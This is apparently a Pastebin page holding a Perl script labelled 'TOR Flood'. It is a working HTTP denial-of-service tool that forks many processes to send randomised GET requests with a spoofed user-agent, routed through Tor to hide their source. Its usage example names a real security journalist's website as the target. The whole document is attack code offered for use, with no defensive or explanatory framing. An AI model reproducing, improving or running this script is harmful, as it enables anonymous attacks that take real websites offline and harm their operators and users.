Advertisement
TP2K1

TOR Flood - Made by TP2k1

May 31st, 2015
1,951
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #Needs: LWP::Protocol::socks
  3. #http://www.cpan.org/authors/id/S/SC/SCR/LWP-Protocol-socks-1.7.tar.gz
  4. #Made by TP2k1
  5.  
  6. use LWP::UserAgent;
  7. use Parallel::ForkManager;
  8.  
  9. use vars qw( $PROG );
  10. ( $PROG = $0 ) =~ s/^.*[\/\\]//;
  11. if ( @ARGV == 0 ) {
  12. print "Usage: ./$PROG [TARGET] [THREADS] [MAXREQUESTS]\nExample: ./$PROG http://krebsonsecurity.com/ 10000 1000\n**Requires TOR**\nMade by TP2k1\n";
  13. exit;
  14. }
  15.  
  16. my $max_processes = $ARGV[1];
  17. my $maxreq = $ARGV[2];
  18.  
  19. my $pm = Parallel::ForkManager->new($max_processes);
  20. my $count = 1;
  21. while ($count <= $maxreq) {
  22. my @chars = ("a".."z", A..Z, 0..9);
  23. my $random = join '', map { @chars[rand @chars] } 1 .. 8;
  24. my $random2 = join '', map { @chars[rand @chars] } 1 .. 8;
  25. $count++;
  26. my $pid = $pm->start and next;
  27. my $ua = LWP::UserAgent->new(agent => q{Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322)},);
  28. my $target = "$ARGV[0]?$random=$random2";
  29. $ua->proxy([qw/ http https /] => 'socks://localhost:9050');
  30. $ua->cookie_jar({});
  31. my $rsp = $ua->get($target);
  32. print "\r Total Requests: $count | Stopping at $maxreq Requests!";
  33. $pm->finish;
  34. }
  35. $pm->wait_all_children;
  36. print "\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement